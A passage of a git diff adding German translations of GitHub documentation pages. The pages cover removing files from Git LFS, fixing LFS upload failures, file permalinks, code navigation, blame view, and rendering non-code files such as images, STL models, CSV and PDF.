+- [Zusammenarbeit mit {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)
+- [Installieren von {% data variables.large_files.product_name_long %}](/articles/installing-git-large-file-storage)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md
new file mode 100644
index 0000000000..b8cf0d2791
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md
@@ -0,0 +1,62 @@
+---
+title: Dateien aus dem Large File Storage (LFS) von Git entfernen
+intro: 'Wenn du für dein Repository {% data variables.large_files.product_name_short %} eingerichtet hast, kannst du alle oder einen Teil der Dateien aus {% data variables.large_files.product_name_short %} entfernen.'
+redirect_from:
+  - /articles/removing-files-from-git-large-file-storage
+  - /github/managing-large-files/removing-files-from-git-large-file-storage
+  - /github/managing-large-files/versioning-large-files/removing-files-from-git-large-file-storage
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Remove files
+ms.openlocfilehash: 4aa8b6789a916616b43b2b995174e64e25856ed4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131919'
+---
+## Einzelne Datei entfernen
+
+1.  Entferne die Datei mit dem Befehl `filter-branch` oder mit BFG Repo-Cleaner aus dem Git-Verlauf des Repositorys. Ausführliche Informationen zur Verwendung dieser Befehle findest du unter [Entfernen vertraulicher Daten aus einem Repository](/articles/removing-sensitive-data-from-a-repository).
+2. Navigiere zur Datei *.gitattributes*.
+
+  {% note %}
+
+  **Hinweis:** Die Datei *.gitattributes* wird im Allgemeinen im lokalen Repository gespeichert. Eventuell hast du aber auch eine globale Datei vom Typ *.gitattributes* mit allen {% data variables.large_files.product_name_short %}-Zuordnungen erstellt.
+
+  {% endnote %}
+3. Suche und entferne die zugeordnete {% data variables.large_files.product_name_short %}-Tracking-Regel in der Datei *.gitattributes*.
+4. Speichere und schließe die Datei *.gitattributes*.
+
+## Alle Dateien eines {% data variables.large_files.product_name_short %}-Repositorys entfernen
+
+1. Entferne die Dateien mit dem Befehl `filter-branch` oder mit BFG Repo-Cleaner aus dem Git-Verlauf des Repositorys. Ausführliche Informationen zur Verwendung dieser Befehle findest du unter [Entfernen vertraulicher Daten aus einem Repository](/articles/removing-sensitive-data-from-a-repository).
+2. Führe optional folgenden Befehl aus, um {% data variables.large_files.product_name_short %} im Repository zu deinstallieren:
+  ```shell
+  $ git lfs uninstall
+  ```
+  Führe bei {% data variables.large_files.product_name_short %}-Versionen vor 1.1.0 folgenden Befehl aus:
+  ```shell
+  $ git lfs uninit
+  ```
+
+## {% data variables.large_files.product_name_short %}-Objekte in Ihrem Repository
+
+Die {% data variables.large_files.product_name_short %}-Objekte von Dateien, die du aus {% data variables.large_files.product_name_short %} entfernt hast, sind nach wie vor im Remotespeicher {% ifversion fpt or ghec %} vorhanden und werden weiterhin auf dein {% data variables.large_files.product_name_short %}-Speicherkontingent angerechnet{% endif %}.
+
+Um {% data variables.large_files.product_name_short %}-Objekte aus einem Repository zu entfernen, {% ifversion fpt or ghec %}lösche das Repository, und erstelle es neu. Wenn Du ein Repository löschst, werden alle zugehörigen Issues, Sterne und Forks ebenfalls gelöscht. Weitere Informationen findest du unter [Löschen eines Repositorys](/github/administering-a-repository/deleting-a-repository). Wenn du ein entferntes Objekt endgültig löschen musst und das Repository nicht löschen kannst, [wende dich an den Support](/github/working-with-github-support), um Hilfe zu erhalten.{% else %}Wende dich an deinen {% data variables.product.prodname_enterprise %}-Administrator, um die Objekte zu archivieren. Archivierte Objekte werden nach drei Monaten gelöscht.{% endif %}
+
+{% note %}
+
+**Hinweis:** Wenn du eine einzelne Datei entfernt hast und andere {% data variables.large_files.product_name_short %}-Objekte hast, die du in deinem Repository behalten möchtest, konfiguriere deine {% data variables.large_files.product_name_short %} zugeordneten Dateien neu,nachdem du dein Repository gelöscht und neu erstellt hast. Weitere Informationen findest du unter [Entfernen einer einzelnen Datei](#removing-a-single-file) und [Konfigurieren von {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage).
+
+{% endnote %}
+
+## Weitere Informationsquellen
+
+- [Informationen zu {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)
+- [Zusammenarbeit mit {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)
+- [Installieren von {% data variables.large_files.product_name_long %}](/articles/installing-git-large-file-storage)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md
new file mode 100644
index 0000000000..85d5261bd6
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md
@@ -0,0 +1,33 @@
+---
+title: Git Large File Storage-Uploadfehler beheben
+intro: 'Wenn deine {% data variables.large_files.product_name_short %}-Dateien nicht richtig hochgeladen werden, kannst du den Uploadfehler in mehreren Schritten beheben.'
+redirect_from:
+  - /articles/resolving-git-large-file-storage-upload-failures
+  - /github/managing-large-files/resolving-git-large-file-storage-upload-failures
+  - /github/managing-large-files/versioning-large-files/resolving-git-large-file-storage-upload-failures
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Resolve upload failures
+ms.openlocfilehash: d2f776561f08132e1ca05d0864368943098c5ddc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131908'
+---
+Der Integritätscheck von {% data variables.large_files.product_name_short %} überprüft, ob alle referenzierten {% data variables.large_files.product_name_short %}-Dateien eines Pushes korrekt hochgeladen wurden. Wird bei der Überprüfung festgestellt, dass dies nicht der Fall ist, erhältst Du eine Fehlermeldung und Dein Push wird blockiert.
+
+Zur Behebung des Fehlers muss Du Deinen lokalen {% data variables.large_files.product_name_short %}-Client neu installieren, um sicherzustellen, dass die referenzierten {% data variables.large_files.product_name_short %}-Dateien künftig korrekt hochgeladen werden.
+
+1. Öffne das Terminal.
+2. Installiere {% data variables.large_files.product_name_short %} neu.
+  ```shell
+  $ git lfs install
+  ```
+3. Führe einen Push aller referenzierten {% data variables.large_files.product_name_short %}-Dateien durch.
+  ```shell
+  $ git lfs push --all origin
+  ```
diff --git a/translations/de-DE/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/de-DE/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
new file mode 100644
index 0000000000..d16c96cd5e
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
@@ -0,0 +1,57 @@
+---
+title: Getting permanent links to files
+intro: 'When viewing a file on {% data variables.location.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.'
+redirect_from:
+  - /articles/getting-a-permanent-link-to-a-file
+  - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url
+  - /articles/getting-permanent-links-to-files
+  - /github/managing-files-in-a-repository/getting-permanent-links-to-files
+  - /github/managing-files-in-a-repository/managing-files-on-github/getting-permanent-links-to-files
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Permanent links to files
+---
+{% tip %}
+
+**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts.
+
+{% endtip %}
+
+## File views show the latest version on a branch
+
+When viewing a file on {% data variables.location.product_location %}, you usually see the version at the current head of a branch.  For example:
+
+* [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md)
+
+refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file.
+
+The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later.
+
+## Press <kbd>Y</kbd> to permalink to a file in a specific commit
+
+For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id.  This will permanently link to the exact version of the file in that commit.  For example:
+
+* [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md)
+
+replaces `main` with a specific commit id and the file content will not change.
+
+Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type <kbd>y</kbd> to automatically update the URL to the permalink version.  Then you can copy the URL knowing that anyone you share it with will see exactly what you saw.
+
+{% tip %}
+
+**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags!
+
+{% endtip %}
+
+## Creating a permanent link to a code snippet
+
+You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)."
+
+## Further reading
+
+- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)"
diff --git a/translations/de-DE/content/repositories/working-with-files/using-files/index.md b/translations/de-DE/content/repositories/working-with-files/using-files/index.md
new file mode 100644
index 0000000000..41ee2fe17f
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/using-files/index.md
@@ -0,0 +1,21 @@
+---
+title: Verwenden von Dateien
+intro: Du kannst in deinen Dateien im Code navigieren und Änderungen nachverfolgen.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /navigating-code-on-github
+  - /viewing-a-file
+  - /getting-permanent-links-to-files
+  - /working-with-non-code-files
+ms.openlocfilehash: 1e68e577c4e3f8d3978d1814151145fe0c40b5f6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131883'
+---
+
diff --git a/translations/de-DE/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/de-DE/content/repositories/working-with-files/using-files/navigating-code-on-github.md
new file mode 100644
index 0000000000..6b3d53ac1f
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/using-files/navigating-code-on-github.md
@@ -0,0 +1,84 @@
+---
+title: Navigating code on GitHub
+intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.'
+redirect_from:
+  - /articles/navigating-code-on-github
+  - /github/managing-files-in-a-repository/navigating-code-on-github
+  - /github/managing-files-in-a-repository/managing-files-on-github/navigating-code-on-github
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the article accordingly. -->
+
+## About navigating code on {% data variables.product.prodname_dotcom %}
+
+Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition.
+
+![Code navigation display](/assets/images/help/repository/code-navigation-popover.png)
+
+Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages and navigation strategies are supported:
+
+| Language   | Search-based code navigation | Precise code navigation |
+|:----------:|:----------------------------:|:-----------------------:|
+| C#         | ✅                           |                         |
+| CodeQL     | ✅                           |                         |
+| Elixir     | ✅                           |                         |
+| Go         | ✅                           |                         |
+| Java       | ✅                           |                         |
+| JavaScript | ✅                           |                         |
+| PHP        | ✅                           |                         |
+| Python     | ✅                           | ✅                      |
+| Ruby       | ✅                           |                         |
+| Rust       | ✅                           |                         |
+| TypeScript | ✅                           |                         |
+
+
+You do not need to configure anything in your repository to enable code navigation. We will automatically extract search-based and precise code navigation information for these supported languages in all repositories and you can switch between the two supported code navigation approaches if your programming language is supported by both.
+
+{% data variables.product.prodname_dotcom %} has developed two code navigation approaches based on the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) and [`stack-graphs`](https://github.com/github/stack-graphs) library:
+ - Search-based - searches all definitions and references across a repository to find entities with a given name
+ - Precise - resolves definitions and references based on the set of classes, functions, and imported definitions at a given point in your code
+
+To learn more about these approaches, see "[Precise and search-based navigation](#precise-and-search-based-navigation)."
+
+Future releases will add *precise code navigation* for more languages, which is a code navigation approach that can give more accurate results.
+
+## Jumping to the definition of a function or method
+
+You can jump to a function or method's definition within the same repository by clicking the function or method call in a file.
+
+![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png)
+
+## Finding all references of a function or method
+
+You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab.
+
+![Find all references tab](/assets/images/help/repository/find-all-references-tab.png)
+
+## Precise and search-based navigation
+
+Certain languages supported by {% data variables.product.prodname_dotcom %} have access to *precise code navigation*, which uses an algorithm (based on the open source [`stack-graphs`](https://github.com/github/stack-graphs) library) that resolves definitions and references based on the set of classes, functions, and imported definitions that are visible at any given point in your code. Other languages use *search-based code navigation*, which searches all definitions and references across a repository to find entities with a given name. Both strategies are effective at finding results and both make sure to avoid inappropriate results such as comments, but precise code navigation can give more accurate results, especially when a repository contains multiple methods or functions with the same name.
+
+If you don't see the results you expect from a precise code navigation query, you can click on the "search-based" link in the displayed popover to perform search-based navigation.
+
+![Search-based code navigation link](/assets/images/help/repository/search-based-code-navigation-link.png)
+
+If your precise results appear inaccurate, you can file a support request.
+
+## Cross-repository precise code navigation
+
+Cross-repo code navigation is available for languages that are supported by precise code navigation and the dependency graph. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." With cross-repo code navigation, you can jump to the definition of functions or variables defined in dependencies imported by your project if that dependency is a repository hosted by {% data variables.product.prodname_dotcom %}. Cross-repo code navigation does not support find-all-references requests at this time.
+
+![Screenshot of cross-repository code navigation](/assets/images/help/repository/cross-repository-code-navigation.png)
+
+## Troubleshooting code navigation
+
+If code navigation is enabled for you but you don't see links to the definitions of functions and methods:
+- Code navigation only works for active branches. Push to the branch and try again.
+- Code navigation only works for repositories with fewer than 100,000 files.
+
+## Further reading
+- "[Searching code](/github/searching-for-information-on-github/searching-code)"
diff --git a/translations/de-DE/content/repositories/working-with-files/using-files/viewing-a-file.md b/translations/de-DE/content/repositories/working-with-files/using-files/viewing-a-file.md
new file mode 100644
index 0000000000..9afcdf5931
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/using-files/viewing-a-file.md
@@ -0,0 +1,94 @@
+---
+title: Anzeigen einer Datei
+intro: 'Du kannst Rohdatendateiinhalte anzeigen oder die Änderungen an den einzelnen Zeilen einer Datei verfolgen und so feststellen, wie sich die Datei im Lauf der Zeit entwickelt hat.'
+redirect_from:
+  - /articles/using-git-blame-to-trace-changes-in-a-file
+  - /articles/tracing-changes-in-a-file
+  - /articles/tracking-changes-in-a-file
+  - /github/managing-files-in-a-repository/tracking-changes-in-a-file
+  - /github/managing-files-in-a-repository/managing-files-on-github/tracking-changes-in-a-file
+  - /repositories/working-with-files/using-files/tracking-changes-in-a-file
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View files and track file changes
+ms.openlocfilehash: bc27fc67cfd18eb20f8c612b81f4d6dd5da20913
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146680989'
+---
+## Anzeigen oder Kopieren des Rohdateiinhalts
+
+Mit der unformatierten Ansicht kannst du den rohen Inhalt einer Datei ohne Formatierung anzeigen oder kopieren.
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Klicke auf die Datei, die du anzeigen möchtest.
+2. Klicke in der oberen rechten Ecke der Dateiansicht auf **Rohformat**.
+![Screenshot der Schaltfläche „Rohformat“ im Dateiheader](/assets/images/help/repository/raw-file-button.png)
+3. Wenn du optional den Rohdateiinhalt kopieren möchtest, klicke in der oberen rechten Ecke der Dateiansicht auf **{% octicon "copy" aria-label="The copy icon" %}**.
+
+## Anzeigen des zeilenweisen Revisionsverlaufs für eine Datei
+
+In der Blame-Ansicht kannst du den Revisionsverlauf einer vollständigen Datei Zeile für Zeile sehen oder durch klicken auf {% octicon "versions" aria-label="The prior blame icon" %} auch nur den Revisionsverlauf einer einzelnen Zeile anzeigen. Mit jedem Klick auf {% octicon "versions" aria-label="The prior blame icon" %} siehst du die vorangegangene Revisionsinformation zur betreffenden Zeile, einschließlich des Committers und des Commit-Zeitpunkts der Änderung.
+
+![Git Blame-Ansicht](/assets/images/help/repository/git_blame.png)
+
+In einer Datei oder einem Pull Request kannst du auch das {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}-Menü verwenden, um Git Blame für eine ausgewählte Zeile oder einen ausgewählten Zeilenbereich anzuzeigen.
+
+![Kebab-Menü mit Option zum Anzeigen von Git Blame für eine ausgewählte Zeile](/assets/images/help/repository/view-git-blame-specific-line.png)
+
+{% tip %}
+
+**Tipp:** In der Befehlszeile kannst du auch `git blame` verwenden, um den Revisionsverlauf von Zeilen innerhalb einer Datei anzuzeigen. Weitere Informationen findest du in der [`git blame`-Dokumentation von Git](https://git-scm.com/docs/git-blame).
+
+{% endtip %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Zum Öffnen klicke auf die Datei, deren Zeilenverlauf du anzeigen möchtest.
+3. Klicke in der oberen rechten Ecke der Dateiansicht auf **Blame**, um die Blame-Ansicht zu öffnen.
+![Schaltfläche „Blame“](/assets/images/help/repository/blame-button.png)
+4. Wenn du frühere Überarbeitungen einer bestimmten Zeile oder erneut die Blame-Ansicht anzeigen möchtest, klicke auf {% octicon "versions" aria-label="The prior blame icon" %}, bis du die gewünschten Änderungen gefunden hast.
+![Schaltfläche „Vorheriges Blame“](/assets/images/help/repository/prior-blame-button.png)
+
+{% ifversion blame-ignore-revs %}
+
+## Ignorieren von Commits in der Blame-Ansicht
+
+Alle Überarbeitungen, die in der `.git-blame-ignore-revs`-Datei angegeben sind, die sich im Stammverzeichnis deines Repositorys befinden muss, sind in der Blame-Ansicht mithilfe der Git-Konfigurationseinstellung `git blame --ignore-revs-file` ausgeblendet. Weitere Informationen findest du in der Git-Dokumentation unter [`git blame --ignore-revs-file`](https://git-scm.com/docs/git-blame#Documentation/git-blame.txt---ignore-revs-fileltfilegt).
+
+1. Erstelle im Stammverzeichnis deines Repositorys eine Datei mit dem Namen `.git-blame-ignore-revs`.
+2. Füge die Commithashes hinzu, die du aus der Blame-Ansicht dieser Datei ausschließen möchtest. Es wird empfohlen, die Datei wie folgt zu strukturieren, einschließlich der Kommentare:
+
+    ```ini
+    # .git-blame-ignore-revs
+    # Removed semi-colons from the entire codebase
+    a8940f7fbddf7fad9d7d50014d4e8d46baf30592
+    # Converted all JavaScript to TypeScript
+    69d029cec8337c616552756310748c4a507bd75a
+    ```
+
+3. Committe und pushe die Änderungen.
+
+Wenn du nun die Blame-Ansicht öffnest, werden die aufgelisteten Überarbeitungen darin nicht angezeigt. Es wird ein Banner **Überarbeitungen in .git-blame-ignore-revs werden ignoriert** angezeigt, das darauf hinweist, dass einige Commits möglicherweise ausgeblendet sind:
+
+![Screenshot eines Banners in der Blame-Ansicht, die mit der .git-blame-ignore-revs-Datei verknüpft ist](/assets/images/help/repository/blame-ignore-revs-file.png)
+
+Dies kann hilfreich sein, wenn einige Commits umfangreiche Änderungen an deinem Code vornehmen. Du kannst die Datei auch bei der lokalen Ausführung von `git blame` verwenden:
+
+```shell
+git blame --ignore-revs-file .git-blame-ignore-revs
+```
+
+Du kannst Git auch lokal so konfigurieren, dass Überarbeitungen in dieser Datei immer ignoriert werden:
+
+```shell
+git config blame.ignoreRevsFile .git-blame-ignore-revs
+```
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/working-with-files/using-files/working-with-non-code-files.md b/translations/de-DE/content/repositories/working-with-files/using-files/working-with-non-code-files.md
new file mode 100644
index 0000000000..f770aa22f1
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/using-files/working-with-non-code-files.md
@@ -0,0 +1,382 @@
+---
+title: Working with non-code files (Arbeiten mit anderen Dateien als Codedateien)
+intro: '{% data variables.product.product_name %} unterstützt das Rendern und Vergleichen in einer Reihe von Nicht-Code-Dateiformaten.'
+redirect_from:
+  - /articles/rendering-and-diffing-images
+  - /github/managing-files-in-a-repository/rendering-and-diffing-images
+  - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-and-diffing-images
+  - /articles/stl-file-viewer
+  - /articles/3d-file-viewer
+  - /github/managing-files-in-a-repository/3d-file-viewer
+  - /github/managing-files-in-a-repository/working-with-non-code-files/3d-file-viewer
+  - /articles/rendering-csv-and-tsv-data
+  - /github/managing-files-in-a-repository/rendering-csv-and-tsv-data
+  - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-csv-and-tsv-data
+  - /articles/rendering-pdf-documents
+  - /github/managing-files-in-a-repository/rendering-pdf-documents
+  - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-pdf-documents
+  - /articles/rendering-differences-in-prose-documents
+  - /github/managing-files-in-a-repository/rendering-differences-in-prose-documents
+  - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-differences-in-prose-documents
+  - /articles/mapping-geojson-files-on-github
+  - /github/managing-files-in-a-repository/mapping-geojson-files-on-github
+  - /github/managing-files-in-a-repository/working-with-non-code-files/mapping-geojson-files-on-github
+  - /articles/working-with-jupyter-notebook-files-on-github
+  - /github/managing-files-in-a-repository/working-with-jupyter-notebook-files-on-github
+  - /github/managing-files-in-a-repository/working-with-non-code-files/working-with-jupyter-notebook-files-on-github
+  - /github/managing-files-in-a-repository/working-with-non-code-files
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Working with non-code files
+ms.openlocfilehash: c770235d94d6191d60505ba60b0f4f81ae49b6bd
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107605'
+---
+## Bilder rendern und vergleichen
+
+{% data variables.product.product_name %} kann verschiedene gängige Bildformate wie PNG, JPG, GIF, PSD und SVG darstellen. Neben der einfachen Wiedergabe bestehen aber auch verschiedene Möglichkeiten, Differenzen zwischen Versionen dieser Bildformate zu vergleichen.
+
+{% note %}
+
+**Hinweis:** 
+- {% data variables.product.prodname_dotcom %} unterstützt nicht den Vergleich der Unterschiede zwischen PSD-Dateien. 
+- Bei Verwendung des Firefox-Browsers werden SVGs auf {% data variables.product.prodname_dotcom %} unter Umständen nicht gerendert.
+
+{% endnote %}
+
+### Anzeigen von Images
+
+Du kannst Bilder in deinem Repository direkt auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} anzeigen:
+
+![Inline-Bild](/assets/images/help/images/view.png)
+
+SVGs unterstützen derzeit noch kein Inline-Scripting und keine Animation.
+
+### Unterschiede anzeigen
+
+Du kannst Bilder in drei verschiedenen Modi visuell vergleichen: [2-up](#2-up), [swipe](#swipe) und [onion skin](#onion-skin).
+
+#### 2-up
+
+**2-up** ist der Standardmodus. In diesem Modus erhältst du einen schnellen Überblick über beide Bilder. Falls sich die Bildgröße zwischen den beiden Versionen geändert hat, wird auch die tatsächliche Größenänderung angezeigt. Dadurch kannst du Größenänderungen eindeutig erkennen, beispielsweise, wenn Objekte mit höheren Auflösungen dargestellt werden.
+
+![2-up](/assets/images/help/repository/images-2up-view.png)
+
+#### Swipe
+
+Mit **Swipe** kannst du Ausschnitte deines Bilds nebeneinander anzeigen. Du bist nicht sicher, ob sich die Farben zwischen den Versionen geändert hat? Ziehe den Wisch-Schieberegler über den fraglichen Bildbereich und vergleiche die Pixel manuell.
+
+![Swipe](/assets/images/help/repository/images-swipe-view.png)
+
+#### Onion Skin (Zwiebelhaut)
+
+Der Modus **Onion Skin** ist besonders dann hilfreich, wenn sich winzige Bildelemente kaum erkennbar geändert haben. Wurde ein Symbol um zwei Pixel nach links verschoben? Ziehe den Opazitäts-Schieberegler ein Stück zurück, und beobachte, ob sich die Bildelemente bewegen.
+
+![Onion Skin (Zwiebelhaut)](/assets/images/help/repository/images-onion-view.gif)
+
+## 3D-Dateianzeige
+
+{% data variables.product.product_name %} kann 3D-Dateien mit der Erweiterung *.stl* hosten und rendern.
+
+Wenn du eine STL-Datei direkt auf {% data variables.product.product_name %} betrachtest, kannst du Folgendes tun:
+
+* Modell durch Anklicken und Ziehen drehen
+* Ansicht durch Rechtsklick und Ziehen verschieben
+* Ansicht durch Scrollen vergrößern und verkleinern
+* Ansicht durch Anklicken der verschiedenen Ansichtsmodi ändern
+
+### Diffs
+
+Wenn du dir einen Commit oder einen Satz von Änderungen ansiehst, der eine STL-Datei enthält, kannst du die Vorher- und Nachher-Diff der Datei ansehen.
+
+Standardmäßig erhältst du eine Ansicht, in der alles Unveränderte in einem Drahtgittermodell angezeigt wird. Ergänzungen sind grün und entfernte Teile rot markiert.
+
+![Drahtgittermodell](/assets/images/help/repository/stl_wireframe.png)
+
+Du kannst auch die Option **Revisionsschieberegler** auswählen, über den du mit einem Schieberegler am oberen Rand der Datei zwischen der aktuellen und der vorherigen Revision wechseln kannst.
+
+### Langsame Leistung beheben
+
+Wenn du dieses Symbol in der Ecke der Anzeige siehst, ist die WebGL-Technologie in deinem Browser nicht verfügbar:
+
+![WebGL-Pop-Fehler](/assets/images/help/repository/render_webgl_error.png)
+
+WebGL ist notwendig, um das Potenzial der Hardware deines Computers voll auszuschöpfen. Es wird empfohlen, Browser wie [Chrome](https://www.google.com/intl/en/chrome/browser/) oder [Firefox](https://www.mozilla.org/en-US/firefox/new/) zu testen, bei denen WebGL aktiviert ist.
+
+### Fehler: „Unable to display“ (Anzeige nicht möglich)
+
+Wenn dein Modell ungültig ist, kann GitHub die Datei möglicherweise nicht anzeigen. Darüber hinaus sind Dateien mit mehr als 10 MB für die Anzeige durch GitHub zu groß.
+
+### Einbetten deines Modells an anderer Stelle
+
+Um deine 3D-Datei an anderer Stelle im Internet anzuzeigen, passe diese Vorlage an, und platziere sie auf einer beliebigen HTML-Seite mit JavaScript-Unterstützung:
+
+```html
+<script src="https://embed.github.com/view/3d/<username>/<repo>/<ref>/<path_to_file>"></script>
+```
+
+Wenn beispielsweise die URL deines Modells [`github.com/skalnik/secret-bear-clip/blob/master/stl/clip.stl`](https://github.com/skalnik/secret-bear-clip/blob/master/stl/clip.stl) lautet, würde dein Einbettungscode wie folgt sein:
+
+```html
+<script src="https://embed.github.com/view/3d/skalnik/secret-bear-clip/master/stl/clip.stl"></script>
+```
+
+Standardmäßig ist der eingebettete Renderer 420 Pixel breit und 620 Pixel hoch. Du kannst die Ausgabe jedoch anpassen, indem du Variablen für Höhe und Breite als Parameter am Ende der URL übergibst, z. B. `?height=300&width=500`.
+
+{% tip %}
+
+**Hinweis:** `ref` kann ein Branch oder der Hash zu einem einzelnen Commit (z. B. `2391ae`) sein.
+
+{% endtip %}
+
+{% ifversion mermaid %}
+### Rendern im Markdown
+
+Du kannst ASCII STL-Syntax direkt in Markdown einbetten. Weitere Informationen findest du unter [Erstellen von Diagrammen](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-stl-3d-models).
+{% endif %}
+
+## CSV- und TSV-Daten wiedergeben
+
+GitHub unterstützt das Rendern von Tabellendaten in den Formaten *CSV* (kommagetrennt) und *TSV* (tabulatorgetrennt).
+
+![Beispiel für eine gerenderte CSV-Datei](/assets/images/help/repository/rendered_csv.png)
+
+Bei der Anzeige werden _CSV_- oder _TSV_-Dateien, die in einem Repository auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} committet werden, automatisch als interaktive Tabelle mit Kopfzeilen und Zeilennummerierung gerendert. Standardmäßig wird davon ausgegangen, dass die erste Zeile die Kopfzeile mit den Spaltenüberschriften ist.
+
+Du kannst durch Klicken auf die Zeilennummer eine bestimmte Zeile verknüpfen oder durch Drücken der Umschalttaste mehrere Zeilen auswählen. Kopiere einfach die URL, und sende sie einem anderen Benutzer.
+
+### Durchsuchen von Daten
+
+Wenn du in deinem Datensatz einen bestimmten Wert suchst, gib einfach den Anfang des gesuchten Werts in die Suchleiste über der Datei ein. Die Zeilen werden automatisch gefiltert:
+
+![Suche nach Werten](/assets/images/help/repository/searching_csvs.gif)
+
+### Behandlung von Fehlern
+
+Gelegentlich wird eine CSV- oder TSV-Datei nicht korrekt dargestellt. In diesem Fall wird unter dem Rohtext eine Fehlermeldung mit einem Hinweis auf die Fehlerursache angezeigt.
+
+![Fehlermeldung beim Rendern einer CSV-Datei](/assets/images/help/repository/csv_render_error.png)
+
+Häufige Fehler sind z.B. folgende:
+
+* Die Zeilen enthalten nicht die gleiche Anzahl an Spalten. Jede Zeile muss die gleiche Anzahl an Trennzeichen enthalten, selbst wenn eine Zelle leer bleibt.
+* Das Dateigrößenlimit wurde überschritten. Das Rendering funktioniert nur bei Dateien mit einer Größe von bis zu 512 KB. Das Rendering größerer Dateien würde den Browser verlangsamen.
+
+## PDF-Dokumente rendern
+
+GitHub unterstützt das Rendering von PDF-Dokumenten.
+
+![Gerendertes PDF-Dokument](/assets/images/help/repository/rendered-pdf.png)
+
+Links innerhalb von PDF-Dokumenten werden derzeit noch ignoriert.
+
+## Unterschiede in Dokumenten mit Fließtext rendern
+
